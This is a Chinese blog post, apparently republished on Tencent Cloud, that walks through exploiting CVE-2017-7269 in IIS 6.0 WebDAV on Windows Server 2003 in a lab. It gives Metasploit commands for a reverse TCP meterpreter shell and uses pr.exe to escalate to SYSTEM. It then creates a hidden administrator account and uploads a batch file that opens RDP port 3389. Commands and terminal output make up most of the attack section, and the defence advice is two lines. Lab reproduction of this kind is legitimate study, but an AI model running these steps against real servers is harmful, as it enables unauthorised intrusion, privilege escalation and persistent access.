专栏首页漏洞知识库IIS - 远程代码执行漏洞

IIS - 远程代码执行漏洞

漏洞知识库

网络安全/渗透测试/代码审计/

关注

IIS - 远程代码执行漏洞

漏洞说明

开启WebDAV服务的IIS 6.0被爆存在缓存区溢出漏洞导致远程代码执行,目前针对Windows Server 2003 R2可以稳定利用,该漏洞最早在2016年7,8月份开始在野外被利用。

影响产品:Microsoft Windows Server 2003 R2 开启WebDAV服务的IIS6.0(目前已验证,其他版本尚未验证)

触发函数:ScStoragePathFromUrl函数

附加信息:ScStoragePathFromUrl函数被调用了两次

漏洞细节:在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞

环境搭建

必须确保Kali Linux 和 Windows 2003 能够相互Ping通,IIS6.0,必须开启了WebDAV

Windows Server 2003 R2 32位 作为服务器 (IIS6.0,开启了WebDAV)
Kali Linux 作为攻击主机

在这里,我用到的网络连接方式是NET模式:用于共享主机的IP地址

Kali Linux 的 IP是:192.168.119.136

Windows 2003 的 IP是:192.168.119.134

准备工具

下载cve-2017-7269漏洞利用脚本

IIS代码执行脚本 - cve-2017-7269:https://github.com/zcgonvh/cve-2017-7269

下载好了,吧exp复制到kali的这个目录下:

/usr/share/metasploit-framework/modules/exploits/windows/iis

漏洞复现

启动Metasploit
msfconsole

使用cve-2017-7269这个攻击载荷
use exploit/windows/iis/cve-2017-7269

查看有哪些参数需要设置
show options
设置被攻击者(windows_2003)的IP
set RHOST 192.168.119.134

设置服务器的地址(Windows_2003)
set HttpHost 192.168.119.134

设置Kali的IP地址
set LHOST 192.168.119.136

设置Payload返回载荷
set payload windows/meterpreter/reverse_tcp

设置完之后就可以看到我们设置的参数:

msf exploit(windows/iis/cve-2017-7269) > show options

Module options (exploit/windows/iis/cve-2017-7269):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   HttpHost            192.168.119.134  yes       http host for target
   PhysicalPathLength  19               yes       length of physical path for target(include backslash)
   RHOST               192.168.119.134  yes       The target address
   RPORT               80               yes       The target port (TCP)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.119.136  yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Microsoft Windows Server 2003 R2

设置完之后,我们就可以使用命令:exploit

msf exploit(windows/iis/cve-2017-7269) > exploit

[*] Started reverse TCP handler on 192.168.119.136:4444
[*] Sending stage (179779 bytes) to 192.168.119.134
[*] Sleeping before handling stage...
[*] Meterpreter session 1 opened (192.168.119.136:4444 -> 192.168.119.134:1031) at 2019-08-03 14:14:40 +0800

meterpreter >

这个时候就可以执行shell命令了~

meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 2044 created.
Channel 2 created.
Microsoft Windows [�汾 5.2.3790]
(C) ��Ȩ���� 1985-2003 Microsoft Corp.

c:\windows\system32\inetsrv>

查看当前的权限:whoami

c:\windows\system32\inetsrv>whoami
whoami
nt authority\network service

c:\windows\system32\inetsrv>

network service是一个一般用户的权限

提权操作

使用MetasploitWindows-2003进行提权:

用到pr.exe提权exp

首先使用shell命令看看能不能创建文件夹:

c:\windows\system32\inetsrv>md 123
md 123
拒绝访问。

很显然不能,那么我们切换到C盘下再试试:

C:\>md 123
md 123

C:\>dir
dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 88DC-ADF2

 C:\ 的目录

2019-08-05  13:42    <DIR>          123
2019-08-03  12:18                 0 AUTOEXEC.BAT
2019-08-03  12:18                 0 CONFIG.SYS
2019-08-03  12:22    <DIR>          Documents and Settings
2019-08-03  14:02    <DIR>          Inetpub
2019-08-03  12:23    <DIR>          Program Files
2019-08-03  14:02    <DIR>          WINDOWS
2019-08-03  12:18    <DIR>          wmpub
               2 个文件              0 字节
               6 个目录 22,927,130,624 可用字节

C:\>whoami
whoami
nt authority\network service

C:\>

这个时候是可以创建文件夹123,但是权限还是很小,只是一个服务器权限。

我们回到会话窗口:exit

使用upload命令在home目录上传pr.exe提权exp文件到2003服务器的C:\\123目录下:

 : /home/pr.exe -> c:\123
[*] uploaded   : /home/pr.exe -> c:\123\pr.exe
meterpreter >

meterpreter提示上传成功!我们切换到shell会话C盘下的123目录,看看pr.exe是否上传成功:

C:\123>dir
dir
 驱动器 C 中的卷没有标签。
 卷的序列号是 88DC-ADF2

 C:\123 的目录

2019-08-05  13:47    <DIR>          .
2019-08-05  13:47    <DIR>          ..
2019-08-05  13:47            73,728 pr.exe
               1 个文件         73,728 字节
               2 个目录 22,927,056,896 可用字节

C:\123>

成功上传pr.exe文件!我们首先执行一下whoami看看当前权限:

C:\123>whoami
whoami
nt authority\network service

权限很小!我们用pr.exe执行whoami看看:

C:\123>pr.exe whoami
pr.exe whoami
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
nt authority\system

这个时候就是一个系统管理权限:nt authority\system!

创建一个用户并提升为超级管理员权限

C:\123>pr.exe "net user liuwx liuwx123abc /add"
pr.exe "net user liuwx liuwx123abc /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。


C:\123>

liuwx用户添加进管理员组:

C:\123>pr.exe "net localgroup administrators liuwx /add"
pr.exe "net localgroup administrators liuwx /add"
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 3852
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!
命令成功完成。


C:\123>

由于我们已经添加了一个超级管理员的账号,这个时候我们要使用刚刚创建的账号进行远程登录它的那台服务器,前提是对方服务器开启了3389端口.

开启3389登录服务器

查看当前端口开放情况:

netstat -an

c:\windows\system32\inetsrv>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    192.168.119.134:139    0.0.0.0:0              LISTENING
  TCP    192.168.119.134:1046   192.168.119.136:4444   ESTABLISHED
  TCP    192.168.119.134:1047   192.168.119.136:4444   ESTABLISHED
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:4500           *:*
  UDP    127.0.0.1:123          *:*
  UDP    192.168.119.134:123    *:*
  UDP    192.168.119.134:137    *:*
  UDP    192.168.119.134:138    *:*

c:\windows\system32\inetsrv>

从上面可以看到,它没有开放3389端口!我们是不能够进行远程链接到2003主机的。

这个时候就要用到3389批处理工具:

3389.bat文件上传到c:\\123目录中:

meterpreter > upload '/home/3389.bat' c:\\123
[*] uploading  : /home/3389.bat -> c:\123
[*] uploaded   : /home/3389.bat -> c:\123\3389.bat
meterpreter >

成功上传!这个时候,我们就需要用3389这个提权工具开启远程服务器的3389端口:

C:\123>pr.exe 3389.bat
pr.exe 3389.bat
/xxoo/-->Build&&Change By KOOPie
/xxoo/-->Got WMI process Pid: 2640
/xxoo/-->Found token SYSTEM
/xxoo/-->Running command with SYSTEM Token...
/xxoo/-->Done, command should have ran as SYSTEM!


提示你:3389已经开启


C:\123>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    192.168.119.134:139    0.0.0.0:0              LISTENING
  TCP    192.168.119.134:1047   192.168.119.136:4444   ESTABLISHED
  UDP    0.0.0.0:445            *:*
  UDP    0.0.0.0:500            *:*
  UDP    0.0.0.0:4500           *:*
  UDP    127.0.0.1:123          *:*
  UDP    192.168.119.134:123    *:*
  UDP    192.168.119.134:137    *:*
  UDP    192.168.119.134:138    *:*
本机的IP是192.168.119.134

C:\123>

这个时候,服务器的3389服务就已经被开启了!

这个就是整个提权的一个过程,包括成功的登陆到远程服务器!

漏洞防御

1、关闭WebDAV服务

2、使用相关防护设备

本文分享自微信公众号 - 漏洞知识库(HackedBug),作者:漏洞知识库

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Discuz!X ≤3.4 任意文件删除漏洞复现

    Discuz!X社区软件,是一个采用PHP 和MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

    漏洞知识库
  • MySQL手注之报错注入详解

    往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注...

    漏洞知识库
  • Microsoft SQL Server手注之布尔型盲注

    上面的这条语句的意思是查询 dbid=5 是否存在,最后那个=1就是是否存在的意思!存在说明返回正常!

    漏洞知识库
  • 关于首屏时间采集自动化的解决方案

    关于首屏 首屏时间是指从转向该页面到屏幕中该页面所有内容都可见时的时间。已经有太多的关于首屏时间的计算,在本文中并不重复阐述这些已经被提出或者实现的方案,而旨...

    欲休
  • GlusterFS分布式存储集群部署记录-相关补充

    接着上一篇Centos7下GlusterFS分布式存储集群环境部署记录文档,继续做一些补充记录,希望能加深对GlusterFS存储操作的理解和熟悉度。 ====...

    洗尽了浮华
  • 这串代码不要轻易尝试,执行有生命危险

    老九君
  • sparksql udf自定义函数中参数过多问题的解决

    在进行spark sql数据库操作中,常常需要一些spark系统本身不支持的函数,如获取某一列值中的字符串。 如要获取 “aaaakkkkk”中的第4-第8个字...

    sparkexpert
  • Linux fuser 命令详解 常用选项fuser功能使用示例fuser不同信号的应用fuser -lfuser -v /root/install.logfuser -k -SIGHUP /root

    linux环境下,当使用umount命令卸载挂载点时,会遇到“device is busy”提示,这时fuser就能查出谁在使用这个资源;当然umount –l...

    一个会写诗的程序员
  • Xcode报错: The file couldn't be opened

    有位同学给了我一份代码,通过GitHub。下载之后怎么都打不开,总是提示“The file couldn't be opened”。

    stanbai
  • skywalking源码分析之javaAgent工具ByteBuddy的应用

    关于skywalking请看我上一篇博文,其使用javaAgent技术,使得应用接入监控0耦合。今天在分析skywaking过程中,对javaAgent技术有了...

    kl博主

扫码关注云+社区

领取腾讯云代金券